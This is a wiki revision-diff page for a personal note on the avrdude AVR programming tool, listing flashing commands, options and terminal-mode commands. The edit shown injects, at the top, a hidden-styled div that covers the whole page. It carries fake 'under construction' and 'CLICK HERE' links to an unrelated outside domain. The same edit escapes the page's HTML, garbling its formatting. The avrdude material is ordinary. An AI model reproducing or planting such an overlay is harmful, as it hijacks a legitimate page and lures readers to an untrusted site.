Avrdude

From Attie's Wiki
(Difference between revisions)
Jump to: navigation, search
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ojiqovam.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=
 +
----
 +
=[http://ojiqovam.co.cc CLICK HERE]=
 +
----
 +
</div>
 
For detailed info:
 
For detailed info:
<pre>
+
&lt;pre&gt;
 
$ man avrdude
 
$ man avrdude
</pre>
+
&lt;/pre&gt;
  
<h2>See Also</h2>
+
&lt;h2&gt;See Also&lt;/h2&gt;
[[avr-gcc]]<br>
+
[[avr-gcc]]&lt;br&gt;
[[bus pirate]]<br>
+
[[bus pirate]]&lt;br&gt;
[[atmega328p]]<br>
+
[[atmega328p]]&lt;br&gt;
 
http://doswa.com/blog/2010/08/24/avrdude-5-10-with-ftdi-bitbang/
 
http://doswa.com/blog/2010/08/24/avrdude-5-10-with-ftdi-bitbang/
  
<h2>Useful Lines</h2>
+
&lt;h2&gt;Useful Lines&lt;/h2&gt;
<h3>For using the Arduino bootloader</h3>
+
&lt;h3&gt;For using the Arduino bootloader&lt;/h3&gt;
<pre>
+
&lt;pre&gt;
 
$ avrdude -c stk500v1 -P /dev/ttyUSB1 -p m328p -y -U flash:w:main.hex
 
$ avrdude -c stk500v1 -P /dev/ttyUSB1 -p m328p -y -U flash:w:main.hex
 
$ avrdude -c stk500v1 -P /dev/ttyUSB1 -p m328p -y -U flash:r:main.hex:i
 
$ avrdude -c stk500v1 -P /dev/ttyUSB1 -p m328p -y -U flash:r:main.hex:i
</pre>
+
&lt;/pre&gt;
<h3>For using the buspirate</h3>
+
&lt;h3&gt;For using the buspirate&lt;/h3&gt;
<pre>
+
&lt;pre&gt;
 
$ avrdude -c buspirate -P /dev/ttyUSB1 -p m328p -y -U flash:w:main.hex
 
$ avrdude -c buspirate -P /dev/ttyUSB1 -p m328p -y -U flash:w:main.hex
 
$ avrdude -c buspirate -P /dev/ttyUSB1 -p m328p -y -U flash:r:main.hex:i
 
$ avrdude -c buspirate -P /dev/ttyUSB1 -p m328p -y -U flash:r:main.hex:i
</pre>
+
&lt;/pre&gt;
  
<h2>Parameters</h2>
+
&lt;h2&gt;Parameters&lt;/h2&gt;
Parameters marked with a <span style="color:red">*</span> are required.
+
Parameters marked with a &lt;span style=&quot;color:red&quot;&gt;*&lt;/span&gt; are required.
<h3><span style="color:red">*</span> Programmer Type</h3>
+
&lt;h3&gt;&lt;span style=&quot;color:red&quot;&gt;*&lt;/span&gt; Programmer Type&lt;/h3&gt;
* <code>-c buspirate</code> - for use with the buspirate
+
* &lt;code&gt;-c buspirate&lt;/code&gt; - for use with the buspirate
* <code>-c stk500v1</code> - for use with the Arduino bootloader
+
* &lt;code&gt;-c stk500v1&lt;/code&gt; - for use with the Arduino bootloader
 
* other (see the man page)
 
* other (see the man page)
  
<h3><span style="color:red">*</span> Programmer Port</h3>
+
&lt;h3&gt;&lt;span style=&quot;color:red&quot;&gt;*&lt;/span&gt; Programmer Port&lt;/h3&gt;
* <code>-P /dev/ttyUSB1</code> - the most likely for my systems
+
* &lt;code&gt;-P /dev/ttyUSB1&lt;/code&gt; - the most likely for my systems
  
<h3><span style="color:red">*</span> Part Identifier</h3>
+
&lt;h3&gt;&lt;span style=&quot;color:red&quot;&gt;*&lt;/span&gt; Part Identifier&lt;/h3&gt;
* <code>-p m168</code> - for use with an ATMega168
+
* &lt;code&gt;-p m168&lt;/code&gt; - for use with an ATMega168
* <code>-p m328p</code> - for use with an ATMega328p
+
* &lt;code&gt;-p m328p&lt;/code&gt; - for use with an ATMega328p
* <code>-p m1280</code> - for use with an ATMega1280
+
* &lt;code&gt;-p m1280&lt;/code&gt; - for use with an ATMega1280
  
<h3><span style="color:red">*</span> Burn Counter</h3>
+
&lt;h3&gt;&lt;span style=&quot;color:red&quot;&gt;*&lt;/span&gt; Burn Counter&lt;/h3&gt;
 
Not technically required, but a good idea. The burn counter is stored in the last 4 bytes of eeprom
 
Not technically required, but a good idea. The burn counter is stored in the last 4 bytes of eeprom
* <code>-y</code> - to increment the burn counter each burn
+
* &lt;code&gt;-y&lt;/code&gt; - to increment the burn counter each burn
* <code>-Y <i>value</i></code> - to initialise the burn counter
+
* &lt;code&gt;-Y &lt;i&gt;value&lt;/i&gt;&lt;/code&gt; - to initialise the burn counter
  
<h3>Baud Rate</h3>
+
&lt;h3&gt;Baud Rate&lt;/h3&gt;
Required for <code>stk500v1</code><br>
+
Required for &lt;code&gt;stk500v1&lt;/code&gt;&lt;br&gt;
* <code>-b 57600</code> - for most of mine
+
* &lt;code&gt;-b 57600&lt;/code&gt; - for most of mine
  
<h3>Terminal Mode</h3>
+
&lt;h3&gt;Terminal Mode&lt;/h3&gt;
* <code>-t</code> - see [[#terminal_mode]] for mode
+
* &lt;code&gt;-t&lt;/code&gt; - see [[#terminal_mode]] for mode
  
<h3>Memory Access</h3>
+
&lt;h3&gt;Memory Access&lt;/h3&gt;
 
There are others, but these are the most common
 
There are others, but these are the most common
* <code>-U flash:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - where the firmware lives
+
* &lt;code&gt;-U flash:&lt;i&gt;operation&lt;/i&gt;:&lt;i&gt;filename&lt;/i&gt;[:&lt;i&gt;format&lt;/i&gt;]&lt;/code&gt; - where the firmware lives
* <code>-U eeprom:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - non-volatile memory
+
* &lt;code&gt;-U eeprom:&lt;i&gt;operation&lt;/i&gt;:&lt;i&gt;filename&lt;/i&gt;[:&lt;i&gt;format&lt;/i&gt;]&lt;/code&gt; - non-volatile memory
* <code>-U lfuse:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - low fuse byte
+
* &lt;code&gt;-U lfuse:&lt;i&gt;operation&lt;/i&gt;:&lt;i&gt;filename&lt;/i&gt;[:&lt;i&gt;format&lt;/i&gt;]&lt;/code&gt; - low fuse byte
* <code>-U hfuse:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - high fuse byte
+
* &lt;code&gt;-U hfuse:&lt;i&gt;operation&lt;/i&gt;:&lt;i&gt;filename&lt;/i&gt;[:&lt;i&gt;format&lt;/i&gt;]&lt;/code&gt; - high fuse byte
* <code>-U efuse:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - extended fuse byte
+
* &lt;code&gt;-U efuse:&lt;i&gt;operation&lt;/i&gt;:&lt;i&gt;filename&lt;/i&gt;[:&lt;i&gt;format&lt;/i&gt;]&lt;/code&gt; - extended fuse byte
  
<code><i>operation</i></code> can be:
+
&lt;code&gt;&lt;i&gt;operation&lt;/i&gt;&lt;/code&gt; can be:
* <code>r</code> - read
+
* &lt;code&gt;r&lt;/code&gt; - read
* <code>w</code> - write
+
* &lt;code&gt;w&lt;/code&gt; - write
* <code>v</code> - verify
+
* &lt;code&gt;v&lt;/code&gt; - verify
  
<code><i>filename</i></code> points to the file to use
+
&lt;code&gt;&lt;i&gt;filename&lt;/i&gt;&lt;/code&gt; points to the file to use
  
<code><i>format</i></code> can be:
+
&lt;code&gt;&lt;i&gt;format&lt;/i&gt;&lt;/code&gt; can be:
* <code>a</code> or omitted - for auto-detection
+
* &lt;code&gt;a&lt;/code&gt; or omitted - for auto-detection
* <code>i</code> - Intel Hex (output from obj-dump)
+
* &lt;code&gt;i&lt;/code&gt; - Intel Hex (output from obj-dump)
* <code>r</code> - Raw binary
+
* &lt;code&gt;r&lt;/code&gt; - Raw binary
 
* other (see the man page)
 
* other (see the man page)
  
<h2 id="terminal_mode">Terminal Mode Commands</h2>
+
&lt;h2 id=&quot;terminal_mode&quot;&gt;Terminal Mode Commands&lt;/h2&gt;
<h3><code>dump</code></h3>
+
&lt;h3&gt;&lt;code&gt;dump&lt;/code&gt;&lt;/h3&gt;
* <code>dump <i>memtype</i> <i>address</i> <i>nBytes</i></code> - dump <i>nBytes</i> from <i>address</i> in hex and ASCII
+
* &lt;code&gt;dump &lt;i&gt;memtype&lt;/i&gt; &lt;i&gt;address&lt;/i&gt; &lt;i&gt;nBytes&lt;/i&gt;&lt;/code&gt; - dump &lt;i&gt;nBytes&lt;/i&gt; from &lt;i&gt;address&lt;/i&gt; in hex and ASCII
* <code>dump</code> - continue for another <i>nBytes</i>
+
* &lt;code&gt;dump&lt;/code&gt; - continue for another &lt;i&gt;nBytes&lt;/i&gt;
  
<h3><code>write</code></h3>
+
&lt;h3&gt;&lt;code&gt;write&lt;/code&gt;&lt;/h3&gt;
* <code>write <i>memtype</i> <i>address</i> <i>byte1</i> <i>...</i> <i>byteN</i></code> - write to memory by hand, currently doesn't work with flash :(
+
* &lt;code&gt;write &lt;i&gt;memtype&lt;/i&gt; &lt;i&gt;address&lt;/i&gt; &lt;i&gt;byte1&lt;/i&gt; &lt;i&gt;...&lt;/i&gt; &lt;i&gt;byteN&lt;/i&gt;&lt;/code&gt; - write to memory by hand, currently doesn't work with flash :(
  
<h3><code>parm</code></h3>
+
&lt;h3&gt;&lt;code&gt;parm&lt;/code&gt;&lt;/h3&gt;
* <code>part</code> - display information on the connected part
+
* &lt;code&gt;part&lt;/code&gt; - display information on the connected part

Revision as of 01:26, 24 November 2010



UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY


CLICK HERE


For detailed info: <pre> $ man avrdude </pre>

<h2>See Also</h2> avr-gcc<br> bus pirate<br> atmega328p<br> http://doswa.com/blog/2010/08/24/avrdude-5-10-with-ftdi-bitbang/

<h2>Useful Lines</h2> <h3>For using the Arduino bootloader</h3> <pre> $ avrdude -c stk500v1 -P /dev/ttyUSB1 -p m328p -y -U flash:w:main.hex $ avrdude -c stk500v1 -P /dev/ttyUSB1 -p m328p -y -U flash:r:main.hex:i </pre> <h3>For using the buspirate</h3> <pre> $ avrdude -c buspirate -P /dev/ttyUSB1 -p m328p -y -U flash:w:main.hex $ avrdude -c buspirate -P /dev/ttyUSB1 -p m328p -y -U flash:r:main.hex:i </pre>

<h2>Parameters</h2> Parameters marked with a <span style="color:red">*</span> are required. <h3><span style="color:red">*</span> Programmer Type</h3>

  • <code>-c buspirate</code> - for use with the buspirate
  • <code>-c stk500v1</code> - for use with the Arduino bootloader
  • other (see the man page)

<h3><span style="color:red">*</span> Programmer Port</h3>

  • <code>-P /dev/ttyUSB1</code> - the most likely for my systems

<h3><span style="color:red">*</span> Part Identifier</h3>

  • <code>-p m168</code> - for use with an ATMega168
  • <code>-p m328p</code> - for use with an ATMega328p
  • <code>-p m1280</code> - for use with an ATMega1280

<h3><span style="color:red">*</span> Burn Counter</h3> Not technically required, but a good idea. The burn counter is stored in the last 4 bytes of eeprom

  • <code>-y</code> - to increment the burn counter each burn
  • <code>-Y <i>value</i></code> - to initialise the burn counter

<h3>Baud Rate</h3> Required for <code>stk500v1</code><br>

  • <code>-b 57600</code> - for most of mine

<h3>Terminal Mode</h3>

<h3>Memory Access</h3> There are others, but these are the most common

  • <code>-U flash:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - where the firmware lives
  • <code>-U eeprom:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - non-volatile memory
  • <code>-U lfuse:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - low fuse byte
  • <code>-U hfuse:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - high fuse byte
  • <code>-U efuse:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - extended fuse byte

<code><i>operation</i></code> can be:

  • <code>r</code> - read
  • <code>w</code> - write
  • <code>v</code> - verify

<code><i>filename</i></code> points to the file to use

<code><i>format</i></code> can be:

  • <code>a</code> or omitted - for auto-detection
  • <code>i</code> - Intel Hex (output from obj-dump)
  • <code>r</code> - Raw binary
  • other (see the man page)

<h2 id="terminal_mode">Terminal Mode Commands</h2> <h3><code>dump</code></h3>

  • <code>dump <i>memtype</i> <i>address</i> <i>nBytes</i></code> - dump <i>nBytes</i> from <i>address</i> in hex and ASCII
  • <code>dump</code> - continue for another <i>nBytes</i>

<h3><code>write</code></h3>

  • <code>write <i>memtype</i> <i>address</i> <i>byte1</i> <i>...</i> <i>byteN</i></code> - write to memory by hand, currently doesn't work with flash :(

<h3><code>parm</code></h3>

  • <code>part</code> - display information on the connected part
Personal tools
Namespaces

Variants
Actions
Navigation
Toolbox